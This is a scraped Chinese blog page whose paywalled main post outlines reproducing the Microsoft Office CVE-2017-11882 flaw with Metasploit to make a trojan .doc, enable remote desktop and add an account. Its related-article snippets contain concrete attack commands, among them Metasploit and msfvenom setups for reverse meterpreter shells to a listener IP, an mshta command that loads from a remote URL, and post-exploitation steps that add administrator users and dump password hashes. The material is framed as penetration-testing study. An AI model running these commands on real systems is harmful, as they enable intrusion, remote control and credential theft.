CVE_2017_11882漏洞复现(Metasploit开启NT远程桌面添加账户)

最新推荐文章于 2024-05-13 10:26:43 发布

原创

最新推荐文章于 2024-05-13 10:26:43 发布 · 358 阅读

1 ·

CC 4.0 BY-SA版权

靶机安装windows office 2016

2.rb复制文件到攻击机的msf的模块文件下并刷新

这里注意：msf放到库文件下不能用- 只能用下划线 _ 不然刷新库不认

3.设置参数运行并生成木马doc

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

cainsoftware

关注关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

Metasploit远程代码执行

小飞鸟

11-02

1109

Metasploit之远程代码执行本次漏洞利用的是ms08-067的XP漏洞 metasploit下进行操作 search 08-067 -->搜索漏洞相关的模块，得到exploit/windows/smb/ms08_067_netapi use exploit/windows/smb/ms08_067_netapi -->使用这个漏洞模块...

漏洞CNNVD-201805-248的复现与提权

weixin_43434933的博客

06-23

1270

实验原理介绍（图文）本次实验实现漏洞CNNVD-201805-248的复现与入侵，以及后续的提权管理员和留后门操作。漏洞基本信息：漏洞名称：Microsoft Windows VBScript 引擎安全漏洞 CNNVD编号：CNNVD-201805-248 CVE编号：CVE-2018-8174 危害等级：高危漏洞类型：缓冲区错误威胁类型：远程发布时间：2018-05-10 漏洞简...

参与评论您还未登录，请先登录后发表或查看评论

metasploit 远程连接服务器

cs_xiaoqiang的博客

01-23

2221

目标ip：192.168.0.101 本机ip：192.168.0.104 打开metasploit 找到到相应的模块，因为我也记不住这个模块，所以先搜索相关的在查找。找到相应的模块进入该模块查看完整的配置信息这里必要的配置，只有一个，那就是本机ip。因为要在服务器上运行，并连接本机ip。运行，得到相应的代码。在服务器的命令行下运行这段代码

MSF渗透测试-CVE-2017-11882（MSOffice漏洞）

weixin_30652491的博客

04-18

443

1.测试环境 2.测试前准备 3.测试过程 —3.1虚拟机环境测试 —3.2局域网靶机测试 4.测试感想 1.测试环境攻击机： OS：kail IP：192.168.15.132/192.168.137.231 靶机： OS：Windows7 Office版本：Office2013_CN IP: 2.测试前准备 1.下载python脚本 2.下载MSF组件 3.将cve_2017_...

简单远程控制 Metasploit应用

m0_62659165的博客

11-22

445

简单远程控制 Metasploit应用

metasploit利用CVE-2017-11882

公众号shadow sock7

08-19

1259

./msfconsole use exploit/windows/fileformat/cve_2017_11882 set URIPATH test set payload windows/meterpreter/reverse_tcp set lhost 172.18.126.113 set FILENAME helloword.doc

Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等

weixin_46280935的博客

09-10

6523

Penetration_Testing_POC 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。 Penetration_Testing_POC 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone Web APP 提权辅助相关 PC tools-小工具集合文章/书籍/教程相关说明请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone 天翼创维awifi路由器存在多处未授权访问漏

Metasploit渗透测试框架基础

hanjinming110的博客

03-02

2964

MSF渗透测试框架基础

kali攻防第9章 Metasploit之我的远程控制软件

安全参透之旅

12-07

1万+

准备工具 1、KALI系统 IP 10.10.10.131 2、受害系统 IP 10.10.10.133 步骤： 1、生成木马控制程序 root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=10.10.10.131 LPORT=44

利用Metasploit控制目标电脑（Win7_x64系统）

天涯的浪子

07-28

926

MSF，是The Metasploit Framework的简称。MSF是一个非常好用的渗透框架，里面集成了许多框架和工具；MSF高度模块化，即框架由多个module组成。进一步解释，是一款开源安全漏洞利用和测试工具，集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新；metasploit涵盖了渗透测试中全过程，可以在这个框架下利用现有的Payload进行一系列的渗透测试。 MS17-010(永恒之蓝)漏洞简介永恒之蓝是指2017年4月14日晚，黑客团体Shado...

CVE-2017-11882：CVE-2017-11882（通杀Office 2003到2016）

03-04

CVE-2017-11882概述从突破利用效果来看，它可以通杀Office 2003到2016的所有版本，并且整个攻击环境的内置非常简单。此突破是由Office软件里面的[公式编辑器]造成的，由于编辑器进程没有对举个例子，如果黑客利用这个漏洞，构造带有外壳后门的office文件，当普通用户打开这个office文件，则电脑可以被黑客直接控制。影响版本： office 2003 office 2007 office 2010 office 2013 office 2016 用法 python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc 点击生成的“ test.doc”，顺利投放计算机工具。 python Command_CVE-2017-11882.py -c "mshta http://192.

off CVE-2017-11882漏洞复现

weixin_44664530的博客

04-22

412

CVE-2017-11882漏洞影响版本 office 2003 office 2007 office 2010 office 2013 office 2016 复现环境 win7 kali office 2016 office2016分享链接：https://pan.baidu.com/s/15YrwY7_1OOFSgpsleS2O5A 提取码：d1lo 下载组件下载 https://gith...

Metasploit工具使用(下)

剁椒鱼头没剁椒的博客

01-30

1996

The Metasploit Framework 的简称。MSF 高度模块化，即框架由多个 module 组成，是全球最受欢迎的渗透测试工具之一。是一款开源安全漏洞利用和测试工具，集成了各种平台上常见的溢出漏洞和流行的shellcode ，并持续保持更新。metasploit 涵盖了渗透测试中全过程，你可以在这个框架下利用现有的 Payload进行一系列的渗透测试。

【工具使用】——Metasploit(MSF)使用详解(超详细)，2024年最新腾讯网络安全面试必问_msf关闭杀软

最新发布

2401_84972980的博客

05-13

2005

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

2021-06-05永恒之蓝漏洞（ms 17-010）利用，并建立远程连接

u258710的博客

06-06

2507

永恒之蓝漏洞（ms 17-010）利用，并建立远程连接 1.复现环境攻击机： Kali 2021（IP192.168.67.153）靶机：Windows 7 X64 虚拟机设置的网络适配器选择Nat模式，保持攻击机和靶机在同一网段。 2.目标扫描使用nmap扫描同一网段存活主机，发现存活主机192.168.67.134。 nmap -sP 192.168.67.0/24 进入msf（metasploit framework），使用search ms17-010 查找可以用模块 search ms

Metasploit--后渗透--创建一个新账号

千寻的博客

02-18

3706

文章目录查看目标主机有哪些用户可以在目标系统中创建一个新的用户账号查看系统用户组将hack用户添加到管理员用户组。查看目标主机有哪些用户 run post/windows/gather/enum_logged_on_users 可以在目标系统中创建一个新的用户账号 run getgui -u hack -p qwe 这个命令会创建用户，并把他添加到 Administrators 组中，这样该用户就拥有远程桌面的权限了。这里成功创建了用户，但是添加到Administrators组中失败了 ! 如果

使用 Metasploit 渗透局域网 Windows 设备

还没想好昵称的新建p的博客

12-01

1556

本文讲述了如何使用 Metasploit 渗透局域网 Windows 设备。

渗透测试必备工具--Metasploit（流程梳理与常用命令以及meterpreter权限分析）

Welcome To Myon'Blog !

11-10

2397

run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 # 添加用户。run post/windows/gather/smart_hashdump # 从SAM导出密码哈希，execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互。run post/windows/manage/enable_rdp # 开启远程桌面。ps # 查看当前活跃进程，kill 杀死进程。

Metasploit4.14.0安装及windows中MSF终端使用